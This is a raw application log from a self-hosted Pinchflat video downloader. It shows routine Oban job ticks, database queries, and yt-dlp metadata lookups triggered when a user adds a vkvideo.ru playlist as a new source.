{"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.812 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:20.938 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:50.939 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.816 [info] {"source":"oban","duration":2322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:20.941 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:50.943 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.821 [info] {"source":"oban","duration":3898,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:20.945 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:50.947 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.826 [info] {"source":"oban","duration":4131,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:20.951 [info] {"source":"oban","duration":3050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:50.955 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.828 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:20.957 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:50.959 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.830 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:20.960 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:50.962 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.830 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:20.964 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:50.966 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.838 [info] {"source":"oban","duration":6955,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:20.969 [info] {"source":"oban","duration":2546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:50.971 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.839 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:20.973 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:50.975 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.844 [info] {"source":"oban","duration":3430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:21.014 [info] {"source":"oban","duration":37753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:51.016 [info] {"source":"oban","duration":2205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.846 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:21.021 [info] {"source":"oban","duration":3743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:51.024 [info] {"source":"oban","duration":2386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.847 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:21.026 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:51.029 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.850 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:21.031 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:51.033 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.855 [info] {"source":"oban","duration":3602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:21.038 [info] {"source":"oban","duration":3415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:51.040 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.859 [info] {"source":"oban","duration":2788,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:21.045 [info] {"source":"oban","duration":2631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:51.047 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.864 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:21.049 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:51.051 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.865 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:21.053 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:51.055 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.867 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:21.057 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:51.059 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.868 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:21.061 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:51.063 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.873 [info] {"source":"oban","duration":3894,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:21.066 [info] {"source":"oban","duration":2395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:51.068 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.879 [info] {"source":"oban","duration":4685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:21.073 [info] {"source":"oban","duration":4174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:51.075 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.881 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:21.078 [info] {"source":"oban","duration":2404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:51.080 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.883 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:21.082 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:51.084 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.885 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:21.086 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:51.088 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.886 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:21.090 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:36.501 [info] POST /sources 15:53:36.503 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "OQVTXC9BHBUGATNoM1p8ZRYvXAJzSF0xvSgoDlPyhHQZf15Pdk05GelA", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Натальная каррта", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "10080", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://vkvideo.ru/playlist/-211232966_15", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 15:53:36.509 [debug] Running yt-dlp command for action: get_source_details 15:53:36.515 [debug] QUERY OK source="settings" db=0.2ms idle=1510.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:36.516 [debug] QUERY OK source="settings" db=0.1ms idle=1510.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:36.517 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=1510.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:36.519 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://vkvideo.ru/playlist/-211232966_15 --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/6c/f8/6cf8133c07ad11b33820f335fe0c631b7684880cad2eb76214c31e7038050fad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:53:40.340 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://vkvideo.ru/playlist/-211232966_15 --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/6c/f8/6cf8133c07ad11b33820f335fe0c631b7684880cad2eb76214c31e7038050fad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:53:40.352 [debug] QUERY OK source="media_profiles" db=10.4ms idle=774.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:53:40.353 [debug] QUERY OK source="settings" db=0.4ms idle=347.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:40.354 [debug] QUERY OK source="settings" db=0.4ms idle=348.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:40.354 [debug] QUERY OK source="settings" db=0.3ms idle=349.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:40.356 [debug] QUERY OK source="settings" db=0.6ms idle=350.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:40.358 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:40.364 [info] Sent 200 in 3862ms 15:53:46.084 [info] CONNECTED TO Phoenix.LiveView.Socket in 113µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OQRVRT1jCz0kKAFAFlMTAiMMCVpsdXMKvRavVNGQJacrC8Z7QHemXXBz", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://rutube.spluft.ru/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://rutube.spluft.ru/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 15:53:46.250 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OV43k-LlnIb2UkI5rDl74-1p"} 15:53:46.250 [debug] Replied in 173µs 15:53:50.914 [info] POST /sources 15:53:50.914 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "OQRVRT1jCz0kKAFAFlMTAiMMCVpsdXMKvRavVNGQJacrC8Z7QHemXXBz", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Натальная каррта", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "10080", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://vkvideo.ru/playlist/-211232966_15", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 15:53:50.915 [debug] Running yt-dlp command for action: get_source_details 15:53:50.916 [debug] QUERY OK source="settings" db=0.2ms idle=911.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:50.917 [debug] QUERY OK source="settings" db=0.1ms idle=911.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:50.917 [debug] QUERY OK source="settings" db=0.2ms idle=911.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:50.918 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://vkvideo.ru/playlist/-211232966_15 --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/15/eb/15eb570c2095f21bc779413fdf4162135b72ac9791a117feed67a5de5d42b66e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:53:51.092 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:54.693 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://vkvideo.ru/playlist/-211232966_15 --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/15/eb/15eb570c2095f21bc779413fdf4162135b72ac9791a117feed67a5de5d42b66e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 15:53:54.700 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.6ms idle=1083.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 15:53:54.704 [debug] QUERY OK source="settings" db=1.3ms queue=0.2ms idle=697.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:54.706 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=699.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:54.707 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=701.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:54.710 [debug] QUERY OK source="settings" db=0.7ms idle=91.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:54.714 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=12.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:53:54.724 [info] Sent 200 in 3810ms 15:53:55.914 [info] CONNECTED TO Phoenix.LiveView.Socket in 70µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "KjFZXSBfDQ8XGwdkPwAwe0osKxpYZHIIegmnKrAcyReVjkyN8hG-lICx", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://rutube.spluft.ru/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://rutube.spluft.ru/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 15:53:56.072 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OV43k-LlnIb2UkI5rDl74-1p"} 15:53:56.072 [debug] Replied in 155µs 15:54:00.887 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:21.095 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:51.097 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.888 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:21.099 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:51.101 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.894 [info] {"source":"oban","duration":4300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:21.103 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:51.105 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.895 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:21.107 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:51.109 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.896 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:21.111 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:51.113 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.897 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:18.052 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:59:21.116 [info] {"source":"oban","duration":2243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:51.118 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.898 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:21.120 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:51.122 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.899 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:21.124 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:51.126 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.900 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:21.128 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:51.130 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.903 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:21.132 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:51.134 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.943 [info] {"source":"oban","duration":2812,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:21.137 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:51.139 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.944 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:21.141 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:51.143 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.947 [info] {"source":"oban","duration":2179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:21.145 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:51.147 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.948 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:21.149 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:51.151 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.949 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:21.153 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:51.155 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.950 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:21.157 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:51.159 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.951 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:21.161 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:51.163 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.953 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:21.165 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:51.167 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.954 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:21.170 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:51.172 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.957 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:21.174 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:51.176 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.957 [info] 